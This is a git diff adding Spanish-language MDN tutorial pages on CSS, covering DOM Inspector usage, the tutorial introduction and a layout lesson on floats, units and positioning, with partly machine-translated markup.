+  <p><span id="result_box" lang="es"><strong><span class="hps">Nota</span><span>:</span></strong> <span class="alt-edited hps">El espaciado</span> <span class="alt-edited hps">de su archivo</span> <span class="hps">HTML</span> <span class="alt-edited hps">puede ocasionar</span> <span class="alt-edited hps">que Domi</span> <span class="alt-edited hps">muestre</span> <span class="hps">algunos nodos</span> <span class="hps">de texto vacíos</span><span class="alt-edited">, que se pueden</span> <span class="hps">pasar por alto.</span></span></p>
+
+  <p><span id="result_box" lang="es"><span class="hps">Parte</span> <span class="hps">del resultado</span> <span class="hps">podría tener este aspecto</span><span>, según</span> <span class="alt-edited hps">qué nodos</span> <span class="alt-edited hps">has</span> <span class="alt-edited hps">expandido</span><span>:</span></span></p>
+
+  <pre>│ ▼╴<span style="color: black;">P</span>
+│ │ │ ▼╴<span style="color: black;">STRONG</span>
+│ │ └<span style="color: darkblue;">#text</span>
+│ ├╴<span style="color: darkblue;">#text</span>
+│ ►╴<span style="color: black;">STRONG</span>
+│ │</pre>
+
+  <p><span id="result_box" lang="es"><span class="alt-edited hps">Cuando selecciona</span> <span class="alt-edited hps">cualquiera de los nodos</span><span>, puede usar</span> <span class="hps">panel de la derecha</span> <span class="hps">de</span> <strong><span class="alt-edited hps"> DOMi </span></strong><span class="hps">para averiguar</span> <span class="hps">más cosas sobre él.</span> <span class="hps">Por ejemplo</span><span>, cuando se selecciona</span> <span class="hps">un nodo de texto</span><span>,</span> <strong><span class="alt-edited hps">DOMi </span></strong></span><span lang="es"><span class="hps">muestra</span> <span class="hps">el texto en el</span> <span class="hps">panel de la derecha</span><span>.</span></span></p>
+
+  <p><span id="result_box" lang="es"><span class="hps">Cuando se selecciona</span> <span class="alt-edited hps">un elemento nodo</span></span>, <span id="result_box" lang="es"><strong><span class="alt-edited hps">DOMi </span></strong><span class="hps">analiza y</span> <span class="hps">ofrece</span> <span class="hps">una enorme cantidad de</span> <span class="hps">información en su</span> <span class="hps">panel de la derecha</span><span>.</span></span> <span id="result_box" lang="es"><span class="alt-edited hps">La información de estilo</span> <span class="hps">es sólo</span> <span class="alt-edited hps">una parte de la información</span> <span class="hps">que proporciona.</span></span></p>
+ </li>
+</ol>
+
+<div class="tuto_example">
+<div class="tuto_type">Problema</div>
+
+<p><span id="result_box" lang="es"><span class="alt-edited hps">En el</span> <strong><span class="alt-edited hps">DOMi </span></strong></span><span lang="es"><span>, haga clic</span> <span class="hps">en un nodo</span> </span><code><small>STRONG</small></code>.</p>
+
+<p><span id="result_box" lang="es"><span class="hps">Utilice</span> el <span class="hps">panel de la derecha</span> <span class="hps">de</span> <span class="alt-edited hps">Domi</span> <span class="hps">para encontrar </span><span class="alt-edited hps">el </span></span><span id="result_box" lang="es"><span class="hps"> nodo de </span></span><span id="result_box" lang="es"><span class="alt-edited hps">color</span><span class="hps"> rojo</span><span>,</span> <span class="hps">y donde</span> <span class="hps">su apariencia </span><span class="hps">es</span> <span class="hps">más relevante que</span> <span class="hps">el texto normal</span><span>.</span></span></p>
+
+<div class="tuto_details" id="tutochallenge">
+<div class="tuto_type">Possible solution</div>
+
+<p>In the menu above the right-hand pane, choose <strong>CSS Rules</strong>. You see two items listed, one that references an internal resource and one that references your stylesheet file. The internal resource defines the <strong>font-weight</strong> property as <code>bolder</code>; your stylesheet defines the <strong>color</strong> property as <code>red</code>.</p>
+<a class="hideAnswer" href="#challenge">Ocultar solución</a></div>
+<a href="#tutochallenge" title="Ver la posible solución para el problema">Ver la solución para el problema.</a></div>
+
+<h3 id="Utilizando_Web_X-Ray_Goggles"><span class="short_text" id="result_box" lang="es"><span class="hps">Utilizando</span> <span class="hps">Web</span> <span class="hps">X</span><span class="atn">-</span><span>Ray</span> <span class="hps">Goggles</span></span></h3>
+
+<p><a class="link-https" href="https://goggles.webmaker.org/" title="https://secure.toolness.com/webxray/">Web X-Ray Goggles </a><span id="result_box" lang="es"><span class="hps">muestra</span> <span class="hps">menos información que</span> <strong><code><span class="hps">DOM</span> </code></strong><span class="hps">Inspector</span><span>, pero</span> <span class="hps">es</span> <span class="hps">más fácil de</span> <span class="hps">instalar y utilizar.</span></span></p>
+
+<ol>
+ <li><span id="result_box" lang="es"><span class="hps">Ir</span> <span class="hps">a la página principal</span> <span class="hps">de</span> <span class="hps">la </span></span> <a class="link-https" href="https://goggles.webmaker.org/" title="https://secure.toolness.com/webxray/">Web X-Ray Goggles</a>.</li>
+ <li><span id="result_box" lang="es"><span class="hps">Arrastre el</span> <span class="hps">enlace</span> <span class="hps">bookmarklet</span> <span class="hps">en esa</span> <span class="hps">página a</span> <span class="hps">tu barra de herramientas</span> <span class="hps">del navegador</span><span>.</span></span></li>
+ <li><span id="result_box" lang="es"><span class="hps">Abra el documento</span> <span class="hps">en versión HTML</span><span>.</span></span></li>
+ <li><span id="result_box" lang="es"><span class="alt-edited hps">Active</span> <span class="hps">Web</span> <span class="atn hps">X-</span><span>Ray</span> <span class="hps">Goggles</span> <span class="hps">haciendo clic en el</span> <span class="hps">bookmarklet</span> <span class="hps">en</span> <span class="hps">la barra de herramientas</span><span>.</span></span></li>
+ <li><span id="result_box" lang="es"><span class="hps">Mueva el</span> <span class="alt-edited hps">puntero del ratón</span> <span class="alt-edited hps">por encima de su</span> <span class="alt-edited hps">documento para comprobar</span> <span class="hps">los</span> <span class="hps">elementos en el documento</span><span>.</span></span></li>
+</ol>
+
+<h2 id="¿Y_ahora_qué"><span class="short_text" id="result_box" lang="es"><span class="hps">¿Y ahora qué</span><span>?</span></span></h2>
+
+<p>{{ nextPage("/en-US/docs/Web/Guide/CSS/Getting_Started/Cascading_and_inheritance", "Cascada y herencia") }}<span id="result_box" lang="es"><span class="alt-edited hps">Si tomaste</span> <span class="alt-edited hps">el reto</span><span class="alt-edited">, usted vera</span> <span class="hps">que</span> <span class="hps">la información de estilo</span>  <span class="hps">interactúa</span> en </span><span id="result_box" lang="es"><span class="hps">más de un lugar, </span></span><span id="result_box" lang="es"><span class="hps">para crear el estilo</span> <span class="hps">final de </span><span class="hps">un elemento.</span> <span class="hps">La <a href="https://developer.mozilla.org/en-US/docs/Web/Guide/CSS/Getting_Started/Cascading_and_inheritance">siguiente página</a></span> <span class="hps">explica</span> <span class="hps">más acerca de estas</span> <span class="hps">interacciones.</span></span></p>
diff --git a/files/es/web/css/introducción/index.html b/files/es/web/css/introducción/index.html
new file mode 100644
index 0000000000..678ec25622
--- /dev/null
+++ b/files/es/web/css/introducción/index.html
@@ -0,0 +1,93 @@
+---
+title: Introducción
+slug: Web/CSS/Introducción
+tags:
+  - CSS
+  - 'CSS:Introducción'
+  - para_revisar
+translation_of: Learn/CSS/First_steps
+---
+<h2 id="Presentación"><span class="goog-gtc-unit" id="goog-gtc-unit-2"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Presentación</span></span></h2>
+
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-3"><span class="goog-gtc-from-mt goog-gtc-translatable" dir="ltr">Este tutorial es una introducción a las hojas de estilo en cascada (Cascading Style Sheets o CSS).</span></span></p>
+
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-4"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Además, te guía a través de las características básicas de CSS con ejemplos prácticos que puedes probar por ti mismo en tu propio equipo.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-5"><span class="goog-gtc-from-mt goog-gtc-translatable" dir="ltr">Está dividido en dos partes.</span></span></p>
+
+<ul>
+ <li><span class="goog-gtc-unit" id="goog-gtc-unit-6"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">La parte I ilustra las características estándar de CSS que funcionan en los navegadores Mozilla y también en la mayoría de los navegadores modernos.</span></span></li>
+</ul>
+
+<ul>
+ <li><span class="goog-gtc-unit" id="goog-gtc-unit-7"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">La parte II contiene algunos ejemplos de características especiales que funcionan en Mozilla, pero no necesariamente en otros entornos.</span></span></li>
+</ul>
+
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-8"><span class="goog-gtc-from-mt goog-gtc-translatable" dir="ltr">El tutorial se basa en la <a class="external" href="http://www.w3.org/TR/CSS21/" title="http://www.w3.org/TR/CSS21/">Especificación CSS 2.1</a> .</span></span></p>
+
+<h3 id="¿Quién_debe_usar_este_tutorial"><span class="goog-gtc-unit" id="goog-gtc-unit-9"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">¿Quién debe usar este tutorial?</span></span></h3>
+
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-10"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Este tutorial es sobre todo para los principiantes en CSS, pero también lo puedes usar si tienes alguna experiencia en CSS.</span></span></p>
+
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-11"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Si eres principiante en CSS, usa la parte I de este tutorial para entender CSS y aprender a usarlo.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-12"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">A continuación, utiliza la parte II para comprender el ámbito de aplicación de CSS en Mozilla.</span></span></p>
+
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-13"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Si sabes algo de CSS, puede omitir las partes de la guía de aprendizaje que ya conoces y sólo utilizar las partes que te interesen.</span></span></p>
+
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-14"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Si tienes experiencia en CSS, pero no en Mozilla, puedes saltar a la parte II.</span></span></p>
+
+<h3 id="¿Qué_se_necesita_antes_de_empezar"><span class="goog-gtc-unit" id="goog-gtc-unit-15"><span class="goog-gtc-from-mt goog-gtc-translatable" dir="ltr">¿Qué se necesita antes de empezar?</span></span></h3>
+
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-16"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Para aprovechar al máximo este tutorial, necesitas un editor para archivos de texto y un navegador Mozilla (Firefox o Mozilla Suite).</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-17"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">También debes saber cómo utilizarlos de forma básica.</span></span></p>
+
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-18"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Si no deseas editar los archivos, entonces puedes leer el tutorial y ver las fotos, pero es una forma menos eficaz de aprender.</span></span></p>
+
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-19"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Algunas partes del tutorial, que son opcionales, requieren otro software de Mozilla.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-21"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Si no quieres descargar otros software de Mozilla, entonces puedes saltártelas.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-22"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">El otro software de Mozilla al que hace referencia este tutorial incluye:</span></span></p>
+
+<ul>
+ <li><a href="/en/DOM_Inspector" title="en/Dom inspector"><span class="goog-gtc-unit" id="goog-gtc-unit-23"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Inspector DOM</span></span></a></li>
+</ul>
+
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-24"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr"><strong>Nota:</strong> CSS ofrece distintas maneras de trabajar con el color, por lo que las partes de este tutorial dependen de él.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-25"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Sólo puedes utilizar estas partes del tutorial fácilmente si dispones de una pantalla en color y de visión del color normal.</span></span></p>
+
+<h3 id="Cómo_utilizar_este_tutorial"><span class="goog-gtc-unit" id="goog-gtc-unit-26"><span class="goog-gtc-from-mt goog-gtc-translatable" dir="ltr">Cómo utilizar este tutorial</span></span></h3>
+
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-27"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Para utilizar este tutorial, lee las páginas con atención y en orden.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-28"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Si se te pasa una página, tal vez te resulte difícil de entender las páginas siguientes.</span></span></p>
+
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-29"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">En cada página, utiliza la sección de <em>Información</em> para entender cómo funciona CSS.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-30"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Usa la sección <em>Acción</em> para tratar de usar CSS en tu propio equipo.</span></span></p>
+
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-31"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Para controlar que has comprendido los contenidos, acepta el reto al final de cada página.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-32"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Las soluciones a los retos están enlazadas debajo de los retos, por lo que no es necesario verlos si no quieres.</span></span></p>
+
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-33"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Para entender CSS en mayor profundidad, lee la información que se encuentra en las cajas con el título <em>Más detalles.</em></span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-34"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Utiliza los enlaces que hay para encontrar información de referencia acerca de CSS.</span></span></p>
+
+<h2 id="Parte_I_del_tutorial"><span class="goog-gtc-unit" id="goog-gtc-unit-35"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Parte I del tutorial </span></span></h2>
+
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-36"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Una guía paso a paso básica para CSS.</span></span></p>
+
+<ol>
+ <li><strong><a href="/es/docs/Web/CSS/Como_iniciar/Que_es_CSS" title="es/docs/Web/CSS/Como iniciar/Que es CSS"><span class="goog-gtc-unit" id="goog-gtc-unit-37"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Qué es CSS</span></span></a></strong></li>
+ <li><strong><a href="/es/docs/Web/CSS/Como_iniciar/Por_que_usar_CSS" title="es/docs/Web/CSS/Como iniciar/Por que usar CSS"><span class="goog-gtc-unit" id="goog-gtc-unit-38"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Por qué usar CSS</span></span></a></strong></li>
+ <li><strong><a href="/en/CSS/Getting_Started/How_CSS_works" title="en/CSS/Getting Started/How CSS works"><span class="goog-gtc-unit" id="goog-gtc-unit-39"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Cómo funciona CSS</span></span></a></strong></li>
+ <li><strong><a href="/en/CSS/Getting_Started/Cascading_and_inheritance" title="en/CSS/Getting Started/Cascading and inheritance"><span class="goog-gtc-unit" id="goog-gtc-unit-40"><span class="goog-gtc-from-mt goog-gtc-translatable" dir="ltr">Cascada y herencia</span></span></a></strong></li>
+ <li><strong><a href="/en/CSS/Getting_Started/Selectors" title="en/CSS/Getting Started/Selectors"><span class="goog-gtc-unit" id="goog-gtc-unit-41"><span class="goog-gtc-from-mt goog-gtc-translatable" dir="ltr">Selectores</span></span></a></strong></li>
+ <li><strong><a href="/en/CSS/Getting_Started/Readable_CSS" title="en/CSS/Getting Started/Readable CSS"><span class="goog-gtc-unit" id="goog-gtc-unit-42"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">CSS legibles </span></span></a></strong></li>
+ <li><strong><a href="/en/CSS/Getting_Started/Text_styles" title="en/CSS/Getting Started/Text styles"><span class="goog-gtc-unit" id="goog-gtc-unit-43"><span class="goog-gtc-from-mt goog-gtc-translatable" dir="ltr">Estilos de texto</span></span></a></strong></li>
+ <li><strong><a href="/en/CSS/Getting_Started/Color" title="en/CSS/Getting_Started/Color">Color</a></strong></li>
+ <li><strong><a href="/en/CSS/Getting_Started/Content" title="en/CSS/Getting Started/Content"><span class="goog-gtc-unit" id="goog-gtc-unit-45"><span class="goog-gtc-from-tm goog-gtc-from-tm-score-99 goog-gtc-translatable" dir="ltr">Contenido</span></span></a></strong></li>
+ <li><strong><a href="/en/CSS/Getting_Started/Lists" title="en/CSS/Getting Started/Lists"><span class="goog-gtc-unit" id="goog-gtc-unit-46"><span class="goog-gtc-from-mt goog-gtc-translatable" dir="ltr">Listas</span></span></a></strong></li>
+ <li><strong><a href="/en/CSS/Getting_Started/Boxes" title="en/CSS/Getting Started/Boxes"><span class="goog-gtc-unit" id="goog-gtc-unit-47"><span class="goog-gtc-from-tm goog-gtc-from-tm-score-100 goog-gtc-translatable" dir="ltr">Cajas</span></span></a></strong></li>
+ <li><strong><a href="/en/CSS/Getting_Started/Layout" title="en/CSS/Getting Started/Layout"><span class="goog-gtc-unit" id="goog-gtc-unit-48"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Diseño</span></span></a></strong></li>
+ <li><strong><a href="/en/CSS/Getting_Started/Tables" title="en/CSS/Getting Started/Tables"><span class="goog-gtc-unit" id="goog-gtc-unit-49"><span class="goog-gtc-from-tm goog-gtc-from-tm-score-100 goog-gtc-translatable" dir="ltr">Tablas</span></span></a></strong></li>
+ <li><strong><a href="/es/docs/Web/CSS/Introducción/Media" title="es/docs/Web/CSS/Introducción/Media"><span class="goog-gtc-unit" id="goog-gtc-unit-50"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Multimedia</span></span></a></strong></li>
+</ol>
+
+<h2 id="Parte_II_del_tutorial"><span class="goog-gtc-unit" id="goog-gtc-unit-51"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Parte II del tutorial</span></span></h2>
+
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-52"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Ejemplos que muestran el ámbito de aplicación de CSS en Mozilla.</span></span></p>
+
+<ol>
+ <li><strong><a href="/en/CSS/Getting_Started/JavaScript" title="en/CSS/Getting Started/JavaScript"><span class="goog-gtc-unit" id="goog-gtc-unit-53"><span class="goog-gtc-from-tm goog-gtc-from-tm-score-100 goog-gtc-translatable" dir="ltr">JavaScript</span></span></a></strong></li>
+ <li><strong><a href="/en/CSS/Getting_Started/XBL_bindings" title="en/CSS/Getting Started/XBL bindings"><span class="goog-gtc-unit" id="goog-gtc-unit-54"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Enlaces XBL</span></span></a></strong></li>
+ <li><strong><a href="/en/CSS/Getting_Started/XUL_user_interfaces" title="en/CSS/Getting Started/XUL user interfaces"><span class="goog-gtc-unit" id="goog-gtc-unit-55"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Interfaces de usuario XUL</span></span></a></strong></li>
+ <li><strong><a href="/en/CSS/Getting_Started/SVG_graphics" title="en/CSS/Getting Started/SVG graphics"><span class="goog-gtc-unit" id="goog-gtc-unit-56"><span class="goog-gtc-from-mt goog-gtc-translatable" dir="ltr">Gráficos SVG</span></span></a></strong></li>
+ <li><strong><a href="/en/CSS/Getting_Started/XML_data" title="en/CSS/Getting Started/XML data"><span class="goog-gtc-unit" id="goog-gtc-unit-57"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Datos XML</span></span></a></strong></li>
+</ol>
+
+<p>{{ languages( { "en": "en/CSS/Getting_Started", "de": "de/CSS/Einführung", "fr": "fr/CSS/Premiers_pas", "it": "it/Conoscere_i_CSS", "ja": "ja/CSS/Getting_Started", "nl": "nl/CSS/Voor_Beginners", "pl": "pl/CSS/Na_pocz\u0105tek", "pt": "pt/CSS/Como_come\u00e7ar", "zh-cn": "cn/CSS/\u5f00\u59cb" } ) }}</p>
diff --git a/files/es/web/css/introducción/layout/index.html b/files/es/web/css/introducción/layout/index.html
new file mode 100644
index 0000000000..31a86194bf
--- /dev/null
+++ b/files/es/web/css/introducción/layout/index.html
@@ -0,0 +1,383 @@
+---
+title: Layout
+slug: Web/CSS/Introducción/Layout
+translation_of: Learn/CSS/CSS_layout
+---
+<p>{{ CSSTutorialTOC() }}</p>
+
+<p>{{ previousPage("/en-US/docs/Web/Guide/CSS/Getting_Started/Boxes", "Boxes")}}Esta es la 12ª sección del tutorial CSS Getting Started; Describe algunas maneras de ajustar el diseño de su documento. Cambia el diseño de su documento de ejemplo.</p>
+
+<h2 class="clearLeft" id="Informacion_Layout">Informacion: Layout</h2>
+
+<p>Puede utilizar CSS para especificar varios efectos visuales que cambian el diseño de su documento. Algunas de las técnicas para especificar el diseño son avanzadas, y más allá del alcance de este tutorial básico.</p>
+
+<p>Cuando diseña un diseño para que se vea similar en muchos navegadores, su hoja de estilo interactúa con la hoja de estilo y el motor de diseño predeterminados del navegador de formas que pueden ser complejas. Este es también un tema avanzado, más allá del alcance de este tutorial básico.</p>
+
+<p>Esta página describe algunas técnicas sencillas que puedes probar.</p>
+
+<h3 id="Estructura_del_documento">Estructura del documento</h3>
+
+<p>Si desea controlar el diseño de su documento, es posible que deba cambiar su estructura.</p>
+
+<p>El lenguaje de marcado del documento puede tener etiquetas de propósito general para crear la estructura. Por ejemplo, en HTML puede utilizar el elemento {{HTMLElement ('div')}} para crear una estructura.</p>
+
+<div class="tuto_example">
+<div class="tuto_type">
+<p>Ejemplo</p>
+
+<p>En su documento de ejemplo, los párrafos numerados en el segundo encabezado no tienen un contenedor propio.</p>
+
+<p>Su hoja de estilo no puede dibujar un borde alrededor de esos párrafos, porque no hay ningún elemento que especificar en el selector.</p>
+
+<p>Para solucionar este problema estructural, puede agregar una etiqueta {{HTMLElement ('div')}} alrededor de los párrafos. Esta etiqueta es única, por lo que puede identificarse con un atributo id:</p>
+</div>
+
+<pre class="brush:html;highlight:[2,8]">&lt;h3&gt;Numbered paragraphs&lt;/h3&gt;
+&lt;div id="numbered"&gt;
+  &lt;p&gt;Lorem ipsum&lt;/p&gt;
+  &lt;p&gt;Dolor sit&lt;/p&gt;
+  &lt;p&gt;Amet consectetuer&lt;/p&gt;
+  &lt;p&gt;Magna aliquam&lt;/p&gt;
+  &lt;p&gt;Autem veleum&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<p>Ahora su hoja de estilos puede utilizar una regla para especificar bordes alrededor de ambas listas:</p>
+
+<pre class="brush:css">ul, #numbered {
+  border: 1em solid #69b;
+  padding-right:1em;
+}
+</pre>
+
+<p>  El resultado se ve así: </p>
+
+<table style="background-color: white; border: 2px outset #3366bb; padding: 1em; width: 30em;">
+ <tbody>
+  <tr>
+   <td>
+    <p style="font-weight: bold; font-size: 133%; margin-bottom: .3em; padding-top: .4em; padding-bottom: .16em; border-top: 1px solid gray;">(A) The oceans</p>
+
+    <div style="border: 12px solid #69b; margin-bottom: 16px; padding: 1em;">
+    <ul style="">
+     <li>Arctic</li>
+     <li>Atlantic</li>
+     <li>Pacific</li>
+     <li>Indian</li>
+     <li>Southern</li>
+    </ul>
+    </div>
+
+    <p style="font-weight: bold; font-size: 133%; margin-bottom: .3em; padding-top: .4em; padding-bottom: .16em; border-top: 1px solid gray;">(B) Numbered paragraphs</p>
+
+    <div style="border: 12px solid #69b; margin-bottom: 8px; padding: 0px 12em 0px .5em;">
+    <p><strong>1: </strong>Lorem ipsum</p>
+
+    <p><strong>2: </strong>Dolor sit</p>
+
+    <p><strong>3: </strong>Amet consectetuer</p>
+
+    <p><strong>4: </strong>Magna aliquam</p>
+
+    <p><strong>5: </strong>Autem veleum</p>
+    </div>
+   </td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h3 id="Unidades_de_tamaño">Unidades de tamaño</h3>
+
+<p>Hasta ahora en este tutorial, se han especificado tamaños en píxeles (px). Estos son apropiados para algunos propósitos en un dispositivo de visualización como una pantalla de computadora. Pero cuando el usuario cambia el tamaño de fuente, su diseño puede parecer incorrecto.</p>
+
+<p>Para muchos propósitos es mejor especificar tamaños como un porcentaje o en ems (em). Un em es nominalmente el tamaño de la fuente actual (el ancho de una letra m). Cuando el usuario cambia el tamaño de fuente, su diseño se ajusta automáticamente.</p>
+
+<div class="tuto_example">
+<div class="tuto_type">
+<p>Ejemplo</p>
+
+<p>El borde a la izquierda de este texto tiene su tamaño especificado en píxeles.</p>
+
+<p>El borde de la derecha tiene su tamaño especificado en ems.</p>
+
+<p>En su navegador, cambie el tamaño de la fuente para ver cómo se ajusta el borde de la derecha pero el borde de la izquierda no:</p>
+</div>
+
+<table style="background-color: white; border: 2px outset #3366bb; padding: 1em;">
+ <tbody>
+  <tr>
+   <td>
+    <div style="">RESIZE ME PLEASE</div>
+   </td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div class="tuto_details">
+<div class="tuto_type">
+<p>Más detalles</p>
+
+<p>Para otros dispositivos, otras unidades de longitud son apropiadas.</p>
+
+<p>Hay más información sobre esto en una página posterior de este tutorial.</p>
+
+<p>Para obtener detalles completos de los valores y unidades que puede utilizar, consulte Valores en la especificación CSS.</p>
+</div>
+</div>
+
+<h3 id="Diseño_del_texto">Diseño del texto</h3>
+
+<p>Dos propiedades especifican cómo está alineado el contenido de un elemento. Puede usarlos para ajustes sencillos de diseño:</p>
+
+<p>{{Cssxref ('text-align')}}</p>
+
+<p><br>
+   Alinea el contenido. Utilice uno de estos valores: izquierda, derecha, centro, justificar<br>
+ {{Cssxref ('texto-sangría')}}<br>
+     Indente el contenido en una cantidad que especifique.</p>
+
+<p>Estas propiedades se aplican a cualquier contenido similar al texto del elemento, no sólo al texto real. Recuerde que son heredados por los hijos del elemento, por lo que es posible que tenga que desactivarlos explícitamente en los niños para evitar resultados sorprendentes.</p>
+
+<div class="tuto_example">
+<div class="tuto_type">
+<p>Ejemplo</p>
+
+<p>Para centrar los títulos:</p>
+</div>
+
+<pre class="brush:css">h3 {
+  border-top: 1px solid gray;
+  text-align: center;
+}
+</pre>
+
+<p>Resultado:</p>
+
+<table style="background-color: white; border: 2px outset #3366bb; padding: 1em; width: 30em;">
+ <tbody>
+  <tr>
+   <td>
+    <p style="font-weight: bold; font-size: 133%; margin-bottom: .3em; padding-top: .4em; padding-bottom: .16em; border-top: 1px solid gray; text-align: center;">(A) The oceans</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p>En un documento HTML, el contenido que ve debajo de un encabezado no está estructuralmente contenido por el encabezado. Así que cuando alineas un encabezado como este, las etiquetas debajo del encabezado no heredan el estilo.</p>
+</div>
+
+<h3 id="Floats">Floats</h3>
+
+<p>La propiedad {{cssxref ('float')}} fuerza un elemento a la izquierda oa la derecha. Esta es una forma sencilla de controlar su posición y tamaño.</p>
+
+<p>El resto del contenido del documento fluye normalmente alrededor del elemento flotante. Puede controlar esto usando la propiedad {{cssxref ('clear')}} en otros elementos para hacerlos permanecer alejados de los flotadores.</p>
+
+<div class="tuto_example">
+<div class="tuto_type">
+<p>Ejemplo</p>
+
+<p>En el documento de ejemplo, las listas se extienden por la ventana. Puede evitarlo flotando hacia la izquierda.</p>
+
+<p>Para mantener los encabezados en su lugar, también debe especificar que se mantengan alejados de los flotadores a su izquierda:</p>
+</div>
+
+<pre class="brush:css">ul, #numbered {float: left;}
+h3 {clear: left;}
+</pre>
+</div>
+
+<p>El resultado sería:</p>
+
+<table style="background-color: white; border: 2px outset #3366bb; padding: 1em; width: 30em;">
+ <tbody>
+  <tr>
+   <td>
+    <p style="font-weight: bold; font-size: 133%; margin-bottom: .3em; padding-top: .4em; padding-bottom: .16em; border-top: 1px solid gray;">(A) The oceans</p>
+
+    <div style="float: left; border: 12px solid #69b; margin-bottom: 16px; padding-left: 1em;">
+    <ul style="">
+     <li>Arctic</li>
+     <li>Atlantic</li>
+     <li>Pacific</li>
+     <li>Indian</li>
+     <li>Southern</li>
+    </ul>
+    </div>
+
+    <p style="font-weight: bold; font-size: 133%; margin-bottom: .3em; padding-top: .4em; padding-bottom: .16em; border-top: 1px solid gray;">(B) Numbered paragraphs</p>
+
+    <div style="float: left; border: 12px solid #69b; margin-bottom: 8px; padding-left: .5em;">
+    <p><strong>1: </strong>Lorem ipsum</p>
+
+    <p><strong>2: </strong>Dolor sit</p>
+
+    <p><strong>3: </strong>Amet consectetuer</p>
+
+    <p><strong>4: </strong>Magna aliquam</p>
+
+    <p><strong>5: </strong>Autem veleum</p>
+    </div>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p>(Un poco de relleno es necesario a la derecha de las cajas, donde el borde es demasiado cerca del texto.)</p>
+
+<h3 id="Posicionamiento">Posicionamiento</h3>
+
+<p>Puede especificar la posición de un elemento de cuatro formas especificando la propiedad {{cssxref ('position')}} y uno de los siguientes valores.</p>
+
+<p>Estas son propiedades avanzadas. Es posible utilizarlos de manera sencilla, por eso se mencionan en este tutorial básico. Pero puede ser difícil usarlos para diseños complejos.</p>
+
+<p>relativo</p>
+
+<p><br>
+   La posición del elemento se desplaza en relación con su posición normal. Utilícelo para desplazar un elemento por una cantidad especificada. A veces se puede utilizar el margen del elemento para lograr el mismo efecto.<br>
+ fijo<br>
+     La posición del elemento es fija. Especifique la posición del elemento en relación con la ventana del documento. Incluso si el resto del documento se desplaza, el elemento permanece fijo.<br>
+ absoluto<br>
+     La posición del elemento es fija con relación a un elemento padre. Sólo un padre que está posicionado con relativo, fijo o absoluto hará. Puede hacer que cualquier elemento padre sea adecuado especificando position: relative; Para ello sin especificar ningún cambio.<br>
+ estático<br>
+     El valor por defecto. Utilice este valor si necesita desactivar la posición de forma explícita.</p>
+
